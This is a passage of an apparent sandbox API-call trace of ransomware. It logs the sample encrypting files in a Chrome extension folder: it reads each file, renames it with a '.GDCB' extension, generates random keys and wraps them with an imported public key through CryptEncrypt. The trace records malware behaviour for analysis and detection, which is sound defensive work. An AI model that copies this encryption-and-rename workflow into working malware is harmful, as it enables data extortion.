Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0239.589] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xa200000 [0239.637] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xa210000 [0239.640] ReadFile (in: hFile=0x424, lpBuffer=0xa210000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xa210000*, lpNumberOfBytesRead=0x285d160*=0x5b1, lpOverlapped=0x0) returned 1 [0239.655] VirtualAlloc (lpAddress=0x0, dwSize=0x5c0, flAllocationType=0x3000, flProtect=0x4) returned 0xa320000 [0239.660] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json.gdcb")) returned 1 [0239.664] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0239.666] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.667] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.667] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0239.668] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.668] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0239.670] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.671] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.671] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0239.671] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.672] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0239.677] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66ac2f8) returned 1 [0239.677] CryptGetKeyParam (in: hKey=0x66ac2f8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0239.677] CryptEncrypt (in: hKey=0x66ac2f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa1e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xa1e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0239.677] GetLastError () returned 0x0 [0239.677] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.677] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0239.679] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66ac3f8) returned 1 [0239.679] CryptGetKeyParam (in: hKey=0x66ac3f8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0239.679] CryptEncrypt (in: hKey=0x66ac3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa1f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xa1f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0239.679] GetLastError () returned 0x0 [0239.679] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.679] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0239.681] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xa200000 [0239.683] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xa210000 [0239.685] ReadFile (in: hFile=0x424, lpBuffer=0xa210000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xa210000*, lpNumberOfBytesRead=0x285d160*=0xe0, lpOverlapped=0x0) returned 1 [0239.694] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xa320000 [0239.700] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js.gdcb")) returned 0 [0239.705] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0239.708] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.709] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.709] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.709] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.709] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.711] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.713] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.713] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.713] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.713] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0239.715] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac9f8) returned 1 [0239.715] CryptGetKeyParam (in: hKey=0x66ac9f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.715] CryptEncrypt (in: hKey=0x66ac9f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa1e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa1e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.715] GetLastError () returned 0x0 [0239.715] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.715] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.717] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66acbb8) returned 1 [0239.717] CryptGetKeyParam (in: hKey=0x66acbb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.717] CryptEncrypt (in: hKey=0x66acbb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa1f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa1f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.718] GetLastError () returned 0x0 [0239.718] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.718] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.719] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.721] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.722] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.722] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.723] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.723] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.724] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.726] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.726] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.726] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.726] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.728] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac8b8) returned 1 [0239.728] CryptGetKeyParam (in: hKey=0x66ac8b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.728] CryptEncrypt (in: hKey=0x66ac8b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa200000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa200000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.729] GetLastError () returned 0x0 [0239.729] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.729] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.730] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66acab8) returned 1 [0239.730] CryptGetKeyParam (in: hKey=0x66acab8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.730] CryptEncrypt (in: hKey=0x66acab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa210000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa210000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.731] GetLastError () returned 0x0 [0239.731] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.731] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.731] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.733] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.736] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.736] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.736] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.736] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.738] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.739] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.739] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.739] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.739] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.742] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66acd78) returned 1 [0239.742] CryptGetKeyParam (in: hKey=0x66acd78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.742] CryptEncrypt (in: hKey=0x66acd78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa220000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa220000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.742] GetLastError () returned 0x0 [0239.742] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.742] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.744] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66acd38) returned 1 [0239.744] CryptGetKeyParam (in: hKey=0x66acd38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.744] CryptEncrypt (in: hKey=0x66acd38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa230000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa230000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.744] GetLastError () returned 0x0 [0239.744] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.744] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.745] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.748] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.750] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.750] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.750] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.750] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.752] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.753] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.753] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.753] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.753] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.755] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66acbf8) returned 1 [0239.755] CryptGetKeyParam (in: hKey=0x66acbf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.755] CryptEncrypt (in: hKey=0x66acbf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa240000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa240000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.756] GetLastError () returned 0x0 [0239.756] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.756] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0239.757] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66acdb8) returned 1 [0239.757] CryptGetKeyParam (in: hKey=0x66acdb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.757] CryptEncrypt (in: hKey=0x66acdb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa250000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa250000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.758] GetLastError () returned 0x0 [0239.758] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.758] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.758] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.761] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.763] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.763] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.763] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.763] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.769] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.770] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.770] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.770] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.771] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.773] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac978) returned 1 [0239.776] CryptGetKeyParam (in: hKey=0x66ac978, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.776] CryptEncrypt (in: hKey=0x66ac978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa260000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa260000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.776] GetLastError () returned 0x0 [0239.776] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.776] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.778] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66acc38) returned 1 [0239.778] CryptGetKeyParam (in: hKey=0x66acc38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.778] CryptEncrypt (in: hKey=0x66acc38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa270000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa270000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.778] GetLastError () returned 0x0 [0239.778] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.778] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.779] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0239.781] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.783] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.783] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.783] CryptReleaseContext 